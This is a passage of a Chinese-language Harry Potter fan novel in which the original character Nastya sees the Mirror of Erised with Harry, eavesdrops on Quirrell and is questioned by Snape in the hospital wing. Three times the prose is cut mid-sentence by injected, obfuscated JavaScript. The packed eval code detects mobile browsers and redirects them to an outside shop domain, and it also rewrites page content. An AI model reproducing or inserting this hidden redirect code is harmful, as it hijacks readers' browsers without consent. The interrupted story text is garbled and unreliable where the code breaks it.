“噢,你们现在非但自己不守规矩,还要带上娜缇一起了!” 珀西愤怒的喋喋不休没有持续太久。 娜斯缇亚掏出了一支圣诞喷泉烟花,塞到他手里:“快来吧,珀西,我们可以一起拍照,然后给莫丽阿姨寄去。” 弗雷德和乔治几乎是在发出悲鸣。 “不!怎么能把烟花递到珀西的手里!” “这棵圣诞树会变成一场灾难!” “谢谢你娜缇,我们现在发现这个商品还能继续改进。” 娜斯缇亚压根没理会他们。 珀西举起魔杖,点燃她放到地上的烟花。 只听“嗤”的一声,棕色、绿色和银色的烟火先后从圆柱体中喷涌而出,像普通烟花那样上升,又慢慢回落,形成一棵树的形状。 看起来就像是雪覆盖在圣诞树上。 除了弗雷德和乔治,大家都发出一声惊叹。 然而,当圣诞树上出现一枚级长徽章和一张打满O的O.W.L.成绩单后,围观的韦斯莱们立刻发出一阵嘘声,扭头拉着哈利去玩飞行棋了。 只剩下娜斯缇亚还坐在旁边看着。 “你不去玩一会吗?”珀西忽然扭头问她。 不知道为什么,他看起来有些紧张。 “他们已经满员了,”娜斯缇亚一时没听出他的弦外之音,“快呀,珀西,烟花只能燃烧七分钟。” 在娜斯缇亚的催促下,圣诞树上又挂上了立着银西可的火焰圣诞布丁、圣诞毛衣、重新装修过的陋居和一堆的红头发玩偶。 紧挨着金妮的是一个金色头发的玩偶,随之冒出的褐色头发的玩偶只变出一个脑袋就停下了。 娜斯缇亚看着珀西如临大敌的表情,想起一个这几天礼堂里总出现在珀西身边的身影,忽然明白了什么。 “噢,我去帮你把其他几个家伙抓过来。”她“噌”地站起来,跑开了。 “需要我帮你们按快门吗?”哈利问。 罗恩十分不解:“你在开什么玩笑!你当然要跟我们一起了。” “哈利,你也一起来照一张吧,我想妈妈会很乐意看见照片上出现你的身影。”乔治也说道。 珀西已经站到O.W.L.证书旁边摆好了姿势。弗雷德和乔治见状,故意做出呕吐的动作,招来一个巨大的白眼。 他们一共拍了三张照片,一张寄给莫丽,一张寄给伊丽莎白。 当然,最后一张被珀西拿走了。 26. 第 26 章 也许是因为圣诞大餐太丰富了,大家都吃得很饱,玩棋子的时候直犯困。 除了珀西。 他说自己还有很多笔记需要复习,交代弗雷德和乔治在宵禁前把娜斯缇亚送回斯莱特林休息室之后,就早早地就回了寝室。 显然,他拜托错了人。 弗雷德和乔治是最精力旺盛的两个人,他们把所有人熬得哈欠连天,连飞行棋的爆炸声都没法将他们吵醒。 等娜斯缇亚再次睁开眼睛的时候,赫敏床头的闹钟已经指向了八点。 她从格兰芬多那张温暖的大床上一跃而起,心如死灰——她忘记告诉杰玛不回寝室了。 她逃命般从格兰芬多塔楼跑回自己的寝室。 杰玛果然已经醒了。 她被抓了个正着。 “你昨天晚上去夜游了?”杰玛用一种谴责的目光看着她。 “我发誓我没有!我只是……”娜斯缇亚立刻辩解道,“不小心在塔楼睡着了,然后就在赫敏的床上过了一夜。” “好吧,但你应该提前和我说一声的。你去格兰芬多塔楼这件事还是佩内洛告诉我的。”杰玛仿佛松了一口气,“我得提醒你一句,圣诞期间斯内普教授也负责巡逻,你不会想被他抓到的。” “我不会夜游的。”娜斯缇亚立刻保证。 杰玛显然对弗雷德和乔治非常不放心。接下来的好几天里,她都带着娜斯缇亚沉浸在书籍和论文的海洋里。 这种状态一直持续到第三天,愁眉苦脸的罗恩找上了门。 “娜缇,你得劝劝哈利。” * “你是说,有个神秘人给哈利寄来了一件隐身衣,然后哈利穿着它阴差阳错地找到了一面镜子……因为里面照出了他的亲人,他就接连去了三个晚上?” 罗恩猛地点点头。 “我真的劝不动他,这太危险了——” “你说得对,这太危险了……”娜斯缇亚说,“你们居然随便就在城堡里照一面不知名的镜子?万一那面镜子施了什么诅咒,被吸进去再也回不来了呢?” 罗恩明显愣了愣。 “呃……其实我只是想说,这样很容易被巡夜的斯内普抓到。”罗恩说,“哈利那个样子,让我感觉他为了那面镜子死也愿意。” ‘这不奇怪,他之前为了纳威的玻璃球都能冲锋陷阵,更别说这面镜子了。’娜斯缇亚想。 但她还是和罗恩爬回了格兰芬多塔楼(当然,这次有提前告知杰玛)。 哈利正坐在窗户边里发呆,连宿舍门什么时候开了都毫无察觉。 罗恩说什么也不愿意踏进房间哪怕一步。 “我这两天真的把能说的都说完了。”他说,“如果哈利见了我,你甚至不用张口,他就会把我们都赶出来。” 娜斯缇亚只好一个人进去,走到哈利身后,用一种尽量轻松的语气和他打招呼:“嘿,哈利。我这几天都没看到你。” 糟糕的开场白。 “噢,娜缇,是你。”哈利看起来有些疲惫,眼睛里闪烁着一种介于悲伤和疯狂之间的情绪。 “这太冷了,也许你应该换个地方看雪。”娜斯缇亚说。 哈利沉默着,把地上的一团银灰色的东西捡起来,又塞进她手里。 它像液体一样在娜斯缇亚的手心流动,她只好用力攥住。 手掌瞬间有一部分变得透明。 “这就是你说的,那个神秘的圣诞礼物?”她惊奇地看着哈利,“这难道是……隐身衣吗?” “那个人告诉我,这是我父亲留给我的,”哈利说,“我不能确定。” “有些危险,对吗?” 哈利并没有否认这点,相反,他点了点头。 “娜缇,你有过这种感觉吗?我觉得我必须去。一定要去。”他的目光忽然变得有些迷茫,但很快又被执拗的坚定占据。 ‘也许没人能劝动他。’娜斯缇亚想。 他们沉默了好一会。 直到哈利向她发出邀请:“今天晚上我们可以一起去,就我们两个。娜缇,你还没看过那面镜子呢。” “那是什么样的镜子?”娜斯缇亚问。 “我不知道。”哈利摇摇头,“罗恩在里面看到他成为学生会主席和魁地奇队长,可我只看到了我的父母。我的父母,还有其他家人。” “也许你也能在里面看见自己的家人呢?”哈利说。 娜斯缇亚愣了愣。 “好,”过了好久,她听见自己这样回答,“我陪你去。” * 就这样,他们瞒过了罗恩,夜里11点在公共休息室会面。 前往秘密教室的路线哈利已经记得很熟了,他们一路上甚至没遇到任何人,很顺利地进入了房间。 整个过程,娜斯缇亚的内心都十分煎熬。 她不确定自己将在镜子里看见什么。 这种不确定性使人疯狂。 非要说的话,她的确希望能像哈利那样,见到自己的父亲。 她想见见成年后的亚伦。 那时的他到底是什么样的? “看,就是这里!”哈利一路把她领到镜子前,“我想你应该也看不见我父母。你看到了什么?” 有一瞬间,娜斯缇亚甚至觉得自己的呼吸漏了一拍。 镜子里真的站着亚伦·奈特。 不再是胸前别着拉文克劳级长徽章、满脸青涩的少年,而是一名穿着黑色正装、英俊成熟的青年。 伊丽莎白穿着一件华丽的婚纱,将手搭在亚伦的臂弯,依偎着他,笑得很幸福。 小娜斯缇亚·格雷站在一旁,卖力地往他们身上撒着玫瑰花瓣。 娜斯缇亚还看见了年轻的亚瑟和莫丽,和一些认识或不认识的人。 他们——所有参加婚礼的人,包括镜子里的她自己,都在冲着她微笑。 娜斯缇亚感觉到一滴温热的泪水从眼眶迅速滑落。 泪珠挂在下巴上,微微的痒。 她抬手将它抹掉。 而哈利眼睛一眨也不眨地看着她。 他的目光很复杂,有困惑,有好奇,但更多的是如释重负的认同感。仿佛一只无家可归的小动物终于找到了同类。 他们还没来得及说话,就听到身后传来一个熟悉而威严的声音。 “这么说——你又来了,哈利?带着你的另一个朋友。” 令娜斯缇亚心慌的是,她的第一反应居然不是惊讶,也不是害怕,而是后悔。 她后悔自己圣诞节那晚睡得太早。 不然她早就能见证父母的婚礼。 即使这一切都是虚幻的。 娜斯缇亚强迫自己将视线从镜中移开。 哈利握着她的手。 他们都看见墙边桌子上坐着的一个身影。 那个人正是他们的校长——阿不思·邓布利多。 “这么说,你们和之前的千百个人一样,已经发现了厄里斯魔镜的乐趣。”邓布利多教授从桌子上滑下来,走到他们面前坐下。 他看上去没有一丝不悦,全然不像是抓包了两个夜游学生的样子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“明天,镜子就要搬到一个新的地方了,我希望你们不要再去找它。如果你哪天碰巧再看见它,哈利,要有心理准备。” 后半句话,邓布利多教授是盯着哈利一个人说的。 注意到娜斯缇亚在看着自己,他眨了眨眼睛:“沉湎于虚幻的梦想,而忘记现实的生活,这是毫无益处的,千万记住。” * 娜斯缇亚一直思考着邓布利多教授的话,直到哈利拉着她披上隐形衣,回到格兰芬多塔楼。 “娜缇,你刚刚看见的是什么?” 他一直握着娜斯缇亚的手,像一个源源不断传输着热量的暖炉。 如果娜斯缇亚没有记错,他刚刚问了邓布利多一样的问题。 “哈利,我觉得,我们看到的东西是一样的。” 不止是她,邓布利多也是。 他看到的东西,和他们一样。 “你是说,家人?”哈利问。 娜斯缇亚点点头。 除了逝去的挚亲挚爱,还有什么能使一个人在圣诞假期的深夜,从温暖的被窝爬出来,跑到那样一间空教室里? 或者说,邓布利多正是亲身体会过那面镜子蛊惑人心的能力,才会特地在教室里等着哈利。 娜斯缇亚不禁开始思考另一个问题: 在等待哈利的这段时间里,邓布利多教授有没有照过那面镜子呢? 27. 第 27 章 圣诞假期后,校园生活又恢复了平静。 新的一年,哈利整日奔波于图书馆和魁地奇球场之间,忙得没工夫再想什么魔法石和斯内普。 这是娜斯缇亚和赫敏都乐见的事。 尽管她们还是会留心斯内普和奇洛,生怕他们的其中一个哪天突然朝哈利痛下黑手,但就目前而言,他们俩都很正常,和一般人没什么两样。 又一个周五的下午,娜斯缇亚照常和赫奇帕奇朋友们在温室见面。 今天的话题是下周六赫奇帕奇和格兰芬多的魁地奇比赛。 “今年有哈利的加入,他们的队长对今年拿下魁地奇比赛的第一名很有信心。”娜斯缇亚分享着自己得到的信息,“弗雷德告诉我,他们的训练强度最近上升到了地狱级别。” “也许是因为这个,格兰芬多最近扣分的频率变低了不少。如果我是麦格教授,一定恨不得让他们天天都这么练。” 厄尼惊诧地看着娜斯缇亚:“你不担心他们赢了魁地奇,会抢走今年的学院杯吗?” 娜斯缇亚笑而不语。 趁着厄尼和贾斯廷去加肥料的时候,她才偷偷告诉汉娜:“我倒希望他们能赢呢,这样能挫一挫弗林特的锐气。你知道的,他总把学院的一切荣耀都看作自己的功劳,在休息室大吹大擂他那些赫赫战功。” 汉娜捂着嘴笑起来。 “当然,我不是在轻视魁地奇球员,只是弗林特的做法太令人反感。” “哦,原来这就是斯莱特林吗?”塞德里克的声音从后方传来。 他是什么背后灵吗?为什么总是突然出现在她背后? 娜斯缇亚瞪他一眼:“魁地奇比赛又不是学院杯分数的唯一来源,也许我们能在别的地方赢回来呢。” “这我倒不太怀疑。”塞德里克耸耸肩。 “说到魁地奇比赛,”汉娜问道,“塞德里克,你真的不打算入队吗?” 赫奇帕奇的魁地奇队长兼任五年级级长加布里埃·杜鲁门一直想让塞德里克加入他们的院队。 “我还没拿定主意。加布里埃经常在我面前说这件事。”塞德里克头痛地说,“他总说自己在毕业前,赫奇帕奇总该赢一次。” “这件事的重点不该是你自己的意愿吗?你想不想打比赛?” “亚历克斯已经五年级了,而且很热爱魁地奇。我想等他退队之后再提出申请。”塞德里克似乎在四处找着什么。 厄尼看起来非常不解。 “你不怕自己后悔吗?塞德里克。你本来可以多打几年比赛的。现在你至少要等到五年级。”贾斯廷问。 “如果现在他们缺人的话,我想我倒是会毫不犹豫地加入。这没什么可后悔的。”塞德里克回答道,“虽然我喜欢魁地奇,但还没到今后想要成为职业选手的程度。” 娜斯缇亚忽然意识到他虽然很好说话,但也是一个执拗的人。 他坚持自己的原则。 换做是她,应该会认为这是个千载难逢的好机会。 “你在考虑自己未来的工作方向了吗?也许你毕业后可以来霍格沃茨应聘变形术教授,然后接斯普劳特教授的班。”娜斯缇亚决定缓和一下气氛,“想想看,迪戈里教授?” 塞德里克的变形术实在精彩绝伦。只需要一小团泥巴,他就能变出一只会咪咪叫着到处蹭人裤腿的小猫。 可惜塞德里克不是总愿意露这一手。 这会让他感觉自己在炫耀。 “不错的建议,我会考虑的。”他似乎终于找到了想要的东西,搬起角落里的一盆鲜红的毒蝇伞。 “需要帮忙吗?”娜斯缇亚已经走上前,搬起了剩下的另一盆。 “哦,谢谢,跟我来。” * 格兰芬多对战赫奇帕奇的前两天,赫敏一脸焦虑地找到了娜斯缇亚。 “怎么了?你的表情活像见了鬼。” “你知道吗?下场魁地奇比赛的裁判居然是斯内普教授!”赫敏尽量地控制着自己的音量。 “斯内普教授?”娜斯缇亚语调怪异地重复了一遍。 抱歉,但她的第一反应真的是想象他骑飞天扫帚的样子。 以及一个不自觉在脑子里浮现的绰号——老蝙蝠。 “连伍德都说,这样的事情在之前从来没有发生过。”赫敏说,“哈利坚持要上场比赛。说真的,我真担心他能不能活着回来……” 娜斯缇亚始终认为,在大庭广众之下动手是一个蠢透了的行为。 更何况那个不知名凶手已经动过一次手了。 但她不能拿哈利的生命开玩笑。 “如果是斯内普教授,想看住他并不算难。你只需要在公共休息室说一句,‘哦,真担心斯内普在比赛上吹黑哨’,我想一切问题就能迎刃而解了。” 赫敏笑出了声。 “麻烦的是,还有奇洛教授。”娜斯缇亚厌烦地说。 “那下场比赛你要来看吗?”赫敏问,“——你会锁腿咒吧?” “你也在练锁腿咒?” 德拉科最近到处找人练这个咒语。他已经被杰玛和另外几位级长警告了好几次,勒令他别再令斯莱特林蒙羞。 “噢,就是马尔福给我们的灵感。我最近在帮罗恩练习这个咒语,如果到时候有谁想对哈利做什么,我们就先下手为强!” “一定要吗——好吧。” 娜斯缇亚勉强答应了这个请求。 * 也许是梅林听见了她的祷告,比赛的当天,他们在教师席上看见了邓布利多教授的身影。 娜斯缇亚彻底地放了心。 “我们的锁腿咒派不上用场了。看——邓布利多教授。”她安慰着焦虑的罗恩和赫敏,“而且奇洛教授也没有来。哈利百分百不会有事了。” 在松了一口气的同时,罗恩和赫敏警惕地察觉到一丝信号:“你不看比赛吗?” “如果你们赢了,就过来告诉我。”娜斯缇亚合上手里的书,“我今天一天应该都会在图书馆。” 斯内普教授布置的论文题目越来越刁钻了。 她想了两天,才写了个开头,思路又卡住了。 “娜斯缇亚,你现在是打定主意要当斯莱特林的叛徒了?你要为疤头加油?” 可怕的是,娜斯缇亚甚至还没来得及从座位上站起来,就听见一个阴恻恻的声音从过道传过来。 德拉科正抱臂看着她呢。 她叹了一口气。 “如果我没记错的话,”娜斯缇亚说,“今天的比赛可和斯莱特林一点关系都没有。” “那你来干什么?”德拉科远远地觑了一眼正在讨论战术的格兰芬多球队,拖长了语调,“哦——我知道了。” “担心波特这次又从扫帚上掉下来?”德拉科“嗤”的一声笑了,“不过,真难得,那两个韦斯莱穷鬼居然有钱换一把新扫帚。韦斯莱,你爸爸捡钱了,是吗?” 德拉科又开始四处喷射毒液了。 谁能告诉她,他今天到底为什么要来? “我来看斯内普教授当裁判。”娜斯缇亚尽力地压下火气和爆竹般弹起来的罗恩,“你不也是?” 罗恩用一种见鬼的表情看着她。 赫敏立刻把他的脑袋扳正了。 “什么?我可不是。”德拉科显然没想到她的答案会是这个。他用看一种傻子的表情看她,“裁判有什么好看的?” 娜斯缇亚挑挑眉。 “你不是总想得到斯内普教授的夸奖吗?”她故意说,“别以为我没看出来。” 德拉科果然上钩了。 “怎么?你以为你的魔药水平比我要高?”他气愤地问。 “我不像有些人,整天不是在休息室说大话,就是来球场瞎凑热闹。” “你一定以为自己很聪明,是吗?”德拉科恶狠狠地瞪着她,“下节课我一定会用我最真实的水准羞辱你。等着吧!” 德拉科“噌”地站起来,换到离他们更远的位置。 “‘我一定会用最真实的水准羞辱你’,”罗恩阴阳怪气地模仿道,“我怎么从来没听过哪个教授夸过他呢。” 显然,他忘记了斯内普教授在第一节课上是怎么用德拉科拉踩格兰芬多了。 德拉科走后,娜斯缇亚忽然看见纳威正用一种很复杂的眼神盯着自己看。 “娜斯缇亚,我能不能跟着你学怎么……怎么回击别人?”他急切地开了口。 “不,纳威,你要学的不是这个。如果下次马尔福再对你做什么,你就揍他一拳,让他知道你的厉害!”罗恩飞快地说。 娜斯缇亚翻了个白眼。 “你能不能别瞎出主意?”赫敏也瞪他一眼,“纳威,你应该把马尔福对你做的那些事告诉麦格教授。” 纳威很沮丧地叹了口气。 “他拿你试验咒语,是不是?”娜斯缇亚问。 “锁……锁腿咒。”纳威涨红了脸。 噢,又是一个马尔福作恶多端的受害者。 “纳威,你是个巫师。你应该学会这个咒语和解咒,下次他要是再想这么做,你就让他也瞧瞧你的厉害。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437156|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “真的吗?” “你又不是真的笨蛋。还是你认为自己是?” “可是……”纳威犹豫了一会,还是摇摇头,“我会试一试。” “那就这么做吧。”娜斯缇亚站起身来,“我得走了。” 她已经耽误了太多时间。 “我会告诉哈利你来过的。”赫敏说道。 * 娜斯缇亚没来得及走出球场,就再次被人叫住了。 “娜缇!嘿!” 娜斯缇亚扭过头,厄尼和贾斯廷正朝自己招着手呢。 没办法,她只好走过去。 “我刚刚看到你和格兰芬多坐在一起,你也是来给哈利·波特加油的?”厄尼问。 娜斯缇亚想了想,点点头。 厄尼很失望地摆摆手:“好吧。我就知道,来这的人没有一个觉得赫奇帕奇会赢。” “别这样,我来是因为哈利是我的朋友。”娜斯缇亚调侃道,“如果你和贾斯廷明年加入魁地奇队,我一定也给你们加油。” “我倒希望有这个机会呢。”厄尼唉声叹气地说,“我不大合适。” “你要过来和我们一起吗?”看样子贾斯廷已经准备给她让一个位置了。 “我想还是算了。事实上,我不准备看这场比赛。”娜斯缇亚赶紧拦住了他,“汉娜呢,没和你们坐在一起吗?” “她去图书馆了。”厄尼翻了个白眼,“她声称在塞德里克加入院队之前都不会来看任何一场魁地奇比赛。” 娜斯缇亚哈哈大笑。 就在这时,贾斯廷示意她看向身后。 是塞德里克。 他看起来很小心,用围巾把下半张脸都包了起来。 “你怎么在这?”娜斯缇亚叫住了他。 塞德里克避开人群,偷偷溜了过来。 “加布里埃刚刚缠着我好久,要我留下来当替补。实在太尴尬了,我好不容易才逃出来。” “他是不是和奥利弗·伍德一样难缠?”娜斯缇亚问。 他深有所感地点点头:“我真不知道要怎么拒绝他才会死心。” “你现在准备去哪?图书馆?”塞德里克接着说,“我和你一起。加里布埃绝对猜不到我会在这时候跑去那。” 塞德里克推着她离开了球场,速度快到不可思议。 * 娜斯缇亚对占卜课有了新的认知。 “你们一直都是这么完成作业的吗?”她不可思议地看着塞德里克掏出一盒小卡片,开始用随机抽取及排列的方式编造自己的作业。 “是的。”塞德里克说,“你知道的,特里劳尼教授对作业有一些特定的偏好……她喜欢惊险的事情。越惊险越好。” 于是娜斯缇亚眼睁睁看着他在纸上写下一句: 下周一晚上的天文课,我会在观星时被一颗流星碎片砸中眼睛。 “……” 他真的确定特里劳尼教授喜欢的是这种荒诞而无厘头的东西吗! 就在娜斯缇亚打算帮塞德里克一起构思他的占卜课作业的时候,她远远地瞥见一个紫色的身影从黑洞洞一片的禁书区走出来。 是奇洛教授。 他手里拿着一本黑色的旧书,急匆匆地往图书馆外走去。 他干什么去? 魁地奇比赛还没有结束。 想到这,娜斯缇亚下意识跟着站起来。 “我去一下盥洗室。” * 这场尾随没有持续太长时间。 奇洛教授回到三楼,走进自己的办公室之后,就再也没有出来。 娜斯缇亚明白自己应该趁早走开,回到图书馆里。 然而,一股莫名其妙的力量却忽然驱使着她跳下还没停稳的楼梯,向那间房间走去。 三楼的走廊里只有她一个人,安静到令人感到几分悚然。 “不,我不能……”从门缝里漏出奇洛教授的声音。 说实话,这简直不像是他发出的声音。 他将每个字都咬得特别重,一点都不符合他平时怯懦结巴的形象。 “他一直怀疑我……一定……不会再失败……” 奇洛似乎在房间里踱步,声音忽远忽近,几个音节含含糊糊的,娜斯缇亚实在听不清楚。 但她还是捕捉到他话里那个“再”。 忽然,屋内的人痛苦地呻吟起来。 与此同时,屋里传出了诡异的“咯吱”声,就像老鼠在啃咬地板。 娜斯缇亚感到一阵恶心和心慌,立刻从门口跑开了。 28. 第 28 章 娜斯缇亚做了一个可怕的噩梦。 梦里,她回到了三楼走廊,一个戴兜帽的黑袍男人隔了好远站在她的面前,狞笑着逼问她是否已经知晓了自己的秘密,嗓音很陌生,却令人感到一阵恶寒。 娜斯缇亚一句话也说不出,只能拼命摇头。 “我很遗憾。”对方的语气似乎十分失望,高高举起了魔杖。 “Crucio!” “不——” * 醒来的时候,她发现自己竟然躺在医疗翼的床上。 “你醒了?格雷小姐。”庞弗雷女士正动作轻柔地擦拭着她脸上的泪痕,“感觉好些了吗?” “我怎么会在这里?” 梅林啊,她的声带是被谁用石头敲烂了吗? 庞弗雷女士递来一杯温水。 娜斯缇亚一饮而尽。 “惊惧引发的高烧,格雷小姐。你的朋友们被你吓坏了。” “谁送我过来的?”她战战兢兢地问。 “法利小姐和布朗小姐。噢,还有迪戈里先生。大约是下午四点的时候,他们发现你倒在楼梯上。”庞弗雷女士熟练地检查者她的体温,“我敢肯定那时你已经烧了好一会了,再迟一会你就要休克了。” 娜斯缇亚吓了一跳。 “休克?!” 就在一分钟前,她还天真地以为自己只是被吓坏了,梦境中发生的一切并不是真实发生的。 说实话,很难形容在梦中被钻心咒击中是一种什么样的感觉。 像是一只失去行动能力倒在地上的昆虫,却在濒死时清晰地感受到自己正在被成百上千只蚂蚁啃食。 痛苦而屈辱的折磨。 娜斯缇亚慢慢地呼吸着,尝试着让狂跳的心脏平复下来,擦擦眼角再次渗出的泪渍。 庞弗雷女士注意到了她的动作:“格雷小姐,我必须提醒你,年轻的小巫师对自己不了解的东西不该有过剩的好奇心。”她隐晦地说。 娜斯缇亚僵住了。 一层冷汗悄悄爬上她的背脊。 庞弗雷女士又端着一支药剂走到床头,盯着娜斯缇亚喝下去。 “为了防止意外,我请斯内普教授来检查过了。你很幸运,现在没事了。但我想他作为斯莱特林的院长,还有一些话要叮嘱你。” 斯内普教授? 庞弗雷女士的话音刚落,一个从头到脚都黑乎乎的身影从办公室闪了出来,大步朝着她走去。 当然,脸色也阴沉得像刚落下雨点的乌云。 “教授,希望你们的谈话不会超过5分钟。”庞弗雷女士立刻加快脚步,回到自己的办公室。 “如果我是你,格雷小姐,”斯内普教授的脸色实在难看极了,“我会离波特先生远一点。” 哈利?这又跟哈利有什么关系? 娜斯缇亚下意识环视病房一圈。 “教授,您是指课上,还是课后?”半晌,她战战兢兢地问。 “任何时刻。尤其要远离他的……自作聪明。” 他飞来一个眼刀,娜斯缇亚立刻把被子拉高了一点,企图遮住自己的眼睛。 “现在,”斯内普教授不耐烦地问,“告诉我,你在梦里看到了谁?” 娜斯缇亚毫不怀疑他已经猜测出了事件全貌,因为他正露出一副洞悉了所有事的神情。 “一个黑衣服戴兜帽的男人,看不清脸。他对我用了钻心咒……” 她最终还是说了实话。 直觉告诉她,自己没必要对斯内普教授撒谎。 “钻心咒?” 很显然,她猜错了。斯内普教授大概并没有完全猜出了事件全貌。因为他的脸色忽然变得十分可怖。 “告诉我,你是怎么有信心去挑衅一位精通黑魔法的……” 起初,斯内普教授几乎是在咆哮,音量引起了另一头女士愤怒的咳嗽声。 但不知为何,他忽然不愿意说下去了。 说实在的,连娜斯缇亚自己也不知道那时候是怎么想的。 “这是一个意外,教授,”她只能辩解道,“我没想多管闲事。我甚至没敢走得太近……” 她想斯内普教授比谁都明白这件“闲事”指的是什么,但他的重点压根不在这上面。 “我很遗憾,格雷小姐,很显然你对黑魔法并不是这么了解。因为这学期给你们上课的老师只是个脑袋空空的草包。”他用一种冷嘲热讽的语气发问,“难道你认为诅咒的方式只有当面发射咒语这一种吗?” “……”娜斯缇亚愣了愣。 斯内普教授满意地欣赏着她刷白的脸色,冷哼一声。 “你得庆幸自己的胆子还没大到那个地步,不然这个钻心咒一定不是通过你的‘梦境’打在你身上的。” 但娜斯缇亚沉默片刻,却忽然颤巍巍地开口:“教授,您是不是也认为,我在梦里见到的那个人,不是奇洛教授?” 对方的压迫性太强了,仿佛一开口就要置人于死地。 只有亡命徒才会这样…… 娜斯缇亚被这个忽然冒出的想法吓了一跳。 但她知道自己猜中了。 “这不是你要操心的事。”脸色僵硬的教授强硬地说。 “所以,邓布利多教授昨天来看比赛是为了保护哈利吗?您也是?” 斯内普教授当魁地奇比赛这件事实在太奇怪了,据弗林特说,连查理还在格兰芬多院队的时候,他都没有对比赛这么紧张过。 娜斯缇亚发誓,自己下次绝不会再这么“心直口快”。 她说出这句话后,斯内普教授那寒霜般逼人的目光就像刀子一样剜在了她身上。 “你最好管住自己的嘴巴和过剩的好奇心,否则就算我把你二十四小时绑在身边也救不了你。” 娜斯缇亚想象了一下被他当成腿部挂件的场景,狠狠地打了个哆嗦。 “……” 不知是不是错觉,他的脸色更难看了。 “教授,我妈妈会知道这件事吗。”她决定转移话题。 “我想伊丽莎白有权知道这件事。”斯内普教授冷冷地说。 娜斯缇亚长叹了口气:伊丽莎白一准会从埃及跑回来。 她们约定过互相不给对方添麻烦的。 “如果我是你,格雷小姐,就会意识到,一场重要的考试正在向自己逼近。以及……”斯内普教授无视了那张忧心忡忡的脸,接着说道,“要是你的期末成绩没达到一百一十以上的分数,就别再踏进我的办公室一步。” 如果娜斯缇亚没记错的话,单科成绩的总分只有一百二十。 “……” 她觉得自己的脑袋更痛了。 幸好,规矩严格到一视同仁的庞弗雷女士在此时去而复返。 “教授,我认为现在最重要的应该是让这位年轻的小姐躺下。”她打断了这对师生气氛冰冷的谈话,“来,格雷小姐,把安眠剂喝了,再睡一觉,你需要充分的休息。” 脑袋昏昏沉沉的,娜斯缇亚赶紧将冰凉的药剂一饮而尽,重新躺进被子里。 最后,斯内普教授只留下了一句意味不明的咒语,就大步离开了。 随即,安眠剂打断了她的所有胡思乱想,带她进入一个无梦的睡眠。 * “娜缇,醒醒……” 谁的声音? 娜斯缇亚睁开眼,赫敏坐在床头担忧地看着她。 窗外是血红色的夕阳。 她几乎睡了一整天,全身都软绵绵的,饥肠辘辘。 “昨天晚上我就没在礼堂看到你,今天的魔咒课后小组你也没来。我去问法利小姐,她告诉我你发了高烧,有点严重。她嘱咐我别告诉其他人你生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437157|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病的事,所以我就暂时没让罗恩和哈利知道。” “庞弗雷女士不让我进来打扰你休息,我就在她的办公室写了一会作业,但是天哪,我一个字都看不进去。直到刚刚她说你不应该再睡下去了,让我带你去吃点东西……究竟发生了什么事?”赫敏絮絮叨叨地说着。 娜斯缇亚四下看了看,示意赫敏靠近一点。 还有什么地方会比医疗翼更安全呢?这里除了她们,一个人都没有。 她把昨天发生的事情、庞弗雷女士和斯内普教授说的那些话,一股脑全告诉了赫敏。 赫敏差点尖叫起来,娜斯缇亚眼疾手快地捂住她的嘴巴。 “到底怎么回事?我的脑袋有点转不动了……” 娜斯缇亚上一次听到赫敏说这种话的时候,还是在开学前,猫头鹰来送入学通知的那一天。 赫敏脸色发白,焦虑地握住她的手:“是不是很痛?” “不痛,就是有点难受。”娜斯缇亚赶紧安慰她,“好啦,至少我们现在知道斯内普教授和他不是一伙的。教授们也许已经在计划着怎么拆穿奇洛了。” 赫敏沉默了一会,然后压低声音。 “他们的确不是一伙的。噢,娜缇,我必须要告诉你哈利昨天听到的……一些事情。”她说,“昨天魁地奇比赛结束后,斯内普和奇洛在禁林会面了。斯内普问奇洛知不知道怎么通过路威。现在哈利认定他想胁迫奇洛帮自己拿到那块石头。” 梅林啊,娜斯缇亚觉得自己的脑袋又开始痛了。 “不管怎么样……” 她正要说话,却被赫敏扑过来的身影紧紧地搂住。 “不,你说得对,娜缇。你一开始的想法就是对的。我们不应该管这件事。”赫敏把脑袋埋在她的肩头,瓮声瓮气地说。 “别担心,庞弗雷女士说我已经没事啦。”娜斯缇亚拍拍赫敏的背,顺着她卷卷的头发摸了摸。 手感很好,她来回捋了两三遍。 赫敏瞬间就不伤感了。她拍掉娜斯缇亚的手:“你把我当小动物还是什么?” 娜斯缇亚傻乎乎地笑了笑。 “好了,我们不该现在就讨论这个的。你的脸色太糟糕了……”赫敏觑了觑她苍白的脸色,再次投以一个担忧的目光,“快换上衣服,我们走吧。” “希望礼堂还剩点东西——我饿疯了。”娜斯缇亚说。 * 娜斯缇亚和赫敏照例在礼堂门口分开,约定一会在图书馆见面。 她刚在长桌上坐下,一个身影就出现在她的面前。 是塞德里克。 “你还好吗?”他在斯莱特林的长桌上坐下,而且坐在她的旁边。 过了用餐高峰期,礼堂的人已经不多了,但他们还是立刻收获了不少人的注目礼。 说实话,这让娜斯缇亚感到不太自在。 